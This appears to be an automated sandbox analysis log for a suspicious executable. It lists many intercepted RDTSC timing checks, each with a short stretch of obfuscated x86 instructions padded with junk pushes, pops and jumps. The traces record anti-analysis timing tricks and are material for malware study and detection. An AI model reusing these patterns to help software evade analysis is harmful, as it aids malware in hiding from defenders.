Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4CE85D second address: 4CE86E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007EFEF4E8FF66h 0x00000009 js 00007EFEF4E8FF66h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0045 second address: 54E0071 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007EFEF544D323h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0071 second address: 54E0076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0076 second address: 54E0096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 call 00007EFEF544D31Eh 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0096 second address: 54E009A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E009A second address: 54E00B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D326h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E00B4 second address: 54E00DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFEF4E8FF75h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0290 second address: 54F0313 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007EFEF544D326h 0x0000000f push eax 0x00000010 jmp 00007EFEF544D31Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007EFEF544D324h 0x0000001d jmp 00007EFEF544D325h 0x00000022 popfd 0x00000023 mov ebx, eax 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007EFEF544D329h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0313 second address: 54F0319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0B18 second address: 54A0B4E instructions: 0x00000000 rdtsc 0x00000002 mov di, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 movzx eax, di 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e mov dx, 981Eh 0x00000012 push edx 0x00000013 pop eax 0x00000014 popad 0x00000015 movsx ebx, ax 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007EFEF544D329h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0B4E second address: 54A0B81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFEF4E8FF77h 0x00000008 mov edi, esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007EFEF4E8FF71h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54909D5 second address: 54909D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54909D9 second address: 54909DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54909DF second address: 5490A09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFEF544D327h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5490A09 second address: 5490A66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, FB1Ah 0x00000007 pushfd 0x00000008 jmp 00007EFEF4E8FF6Bh 0x0000000d or ch, FFFFFFBEh 0x00000010 jmp 00007EFEF4E8FF79h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b jmp 00007EFEF4E8FF6Eh 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007EFEF4E8FF77h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E09F2 second address: 54E09F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E09F8 second address: 54E0A21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFEF4E8FF6Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0A21 second address: 54E0A68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, DBh 0x00000005 call 00007EFEF544D31Ah 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007EFEF544D321h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 mov ecx, 412412D3h 0x0000001c call 00007EFEF544D328h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0A68 second address: 54E0A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pop ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007EFEF4E8FF6Fh 0x00000010 jmp 00007EFEF4E8FF73h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0734 second address: 54E0786 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFEF544D31Eh 0x00000009 jmp 00007EFEF544D325h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007EFEF544D320h 0x00000015 sbb ch, FFFFFFA8h 0x00000018 jmp 00007EFEF544D31Bh 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0786 second address: 54E078A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E078A second address: 54E078E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E078E second address: 54E0794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0794 second address: 54E081A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFEF544D328h 0x00000009 adc ax, DD38h 0x0000000e jmp 00007EFEF544D31Bh 0x00000013 popfd 0x00000014 mov cx, 376Fh 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007EFEF544D325h 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 pushad 0x00000024 mov ecx, 35A40829h 0x00000029 pushfd 0x0000002a jmp 00007EFEF544D326h 0x0000002f add si, 81F8h 0x00000034 jmp 00007EFEF544D31Bh 0x00000039 popfd 0x0000003a popad 0x0000003b mov edi, eax 0x0000003d popad 0x0000003e mov ebp, esp 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 push edx 0x00000044 pop eax 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E081A second address: 54E0820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0820 second address: 54E0824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0824 second address: 54E0847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFEF4E8FF78h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0BCD second address: 54A0C16 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFEF544D326h 0x00000008 and ch, FFFFFF98h 0x0000000b jmp 00007EFEF544D31Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jmp 00007EFEF544D328h 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d mov bl, cl 0x0000001f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0C16 second address: 54A0CD0 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFEF4E8FF79h 0x00000008 add ecx, 6152D696h 0x0000000e jmp 00007EFEF4E8FF71h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007EFEF4E8FF6Eh 0x0000001d jmp 00007EFEF4E8FF75h 0x00000022 popfd 0x00000023 jmp 00007EFEF4E8FF70h 0x00000028 popad 0x00000029 popad 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007EFEF4E8FF6Ch 0x00000034 add esi, 69627048h 0x0000003a jmp 00007EFEF4E8FF6Bh 0x0000003f popfd 0x00000040 pushfd 0x00000041 jmp 00007EFEF4E8FF78h 0x00000046 xor al, FFFFFFA8h 0x00000049 jmp 00007EFEF4E8FF6Bh 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0CD0 second address: 54A0CD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0CD6 second address: 54A0CEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFEF4E8FF6Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0CEB second address: 54A0CF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0CF1 second address: 54A0CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0CF5 second address: 54A0CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0CF9 second address: 54A0D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0D09 second address: 54A0D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0D0D second address: 54A0D11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0D11 second address: 54A0D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0D17 second address: 54A0D33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFEF4E8FF78h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0D33 second address: 54A0D42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0D42 second address: 54A0D48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0D82 second address: 54E0D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0D86 second address: 54E0D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0D8C second address: 54E0DB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D322h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007EFEF544D31Ch 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0DB3 second address: 54E0DF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007EFEF4E8FF70h 0x0000000f mov ebp, esp 0x00000011 jmp 00007EFEF4E8FF70h 0x00000016 mov eax, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0DF1 second address: 54E0DF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0DF5 second address: 54E0DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0DFB second address: 54E0E5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 mov eax, 200EE79Dh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e and dword ptr [eax], 00000000h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007EFEF544D326h 0x00000018 sub ax, 7828h 0x0000001d jmp 00007EFEF544D31Bh 0x00000022 popfd 0x00000023 mov ch, C9h 0x00000025 popad 0x00000026 and dword ptr [eax+04h], 00000000h 0x0000002a jmp 00007EFEF544D31Bh 0x0000002f pop ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007EFEF544D325h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54908FF second address: 5490905 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5490905 second address: 549093A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFEF544D31Ch 0x00000009 jmp 00007EFEF544D325h 0x0000000e popfd 0x0000000f mov eax, 7A7D29D7h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 549093A second address: 549093E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 549093E second address: 5490954 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D322h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5490954 second address: 549095A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 549095A second address: 549095E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E010D second address: 54E0113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0113 second address: 54E0117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0117 second address: 54E0148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFEF4E8FF75h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0148 second address: 54E014E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E014E second address: 54E0152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0152 second address: 54E0156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0156 second address: 54E0188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bh, 38h 0x0000000e pushfd 0x0000000f jmp 00007EFEF4E8FF6Ch 0x00000014 jmp 00007EFEF4E8FF75h 0x00000019 popfd 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0BEC second address: 54E0C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D320h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0C00 second address: 54E0C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFEF4E8FF6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0C12 second address: 54E0C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54E0C16 second address: 54E0C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFEF4E8FF6Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54C0EAD second address: 54C0EC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFEF544D324h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54C0EC5 second address: 54C0ED5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, ax 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54C0ED5 second address: 54C0EDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54C0EDB second address: 54C0EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54C0EDF second address: 54C0F3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007EFEF544D31Fh 0x0000000f mov eax, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 mov ax, 699Bh 0x00000017 pushfd 0x00000018 jmp 00007EFEF544D320h 0x0000001d xor cl, 00000068h 0x00000020 jmp 00007EFEF544D31Bh 0x00000025 popfd 0x00000026 popad 0x00000027 and dword ptr [eax], 00000000h 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007EFEF544D325h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54B0B40 second address: 54B0B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54B0B44 second address: 54B0B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54B0B4A second address: 54B0B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54B0B50 second address: 54B0B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54B0B54 second address: 54B0B73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx ebx, si 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54B0B73 second address: 54B0B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54B0B79 second address: 54B0B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54700B4 second address: 5470141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF544D322h 0x00000009 popad 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007EFEF544D320h 0x00000011 xor si, 7318h 0x00000016 jmp 00007EFEF544D31Bh 0x0000001b popfd 0x0000001c mov ch, 3Ah 0x0000001e popad 0x0000001f popad 0x00000020 mov dword ptr [esp], ebp 0x00000023 jmp 00007EFEF544D31Bh 0x00000028 mov ebp, esp 0x0000002a pushad 0x0000002b mov edi, esi 0x0000002d movzx eax, bx 0x00000030 popad 0x00000031 and esp, FFFFFFF8h 0x00000034 jmp 00007EFEF544D323h 0x00000039 xchg eax, ecx 0x0000003a pushad 0x0000003b mov si, 0397h 0x0000003f popad 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007EFEF544D328h 0x00000048 rdtsc
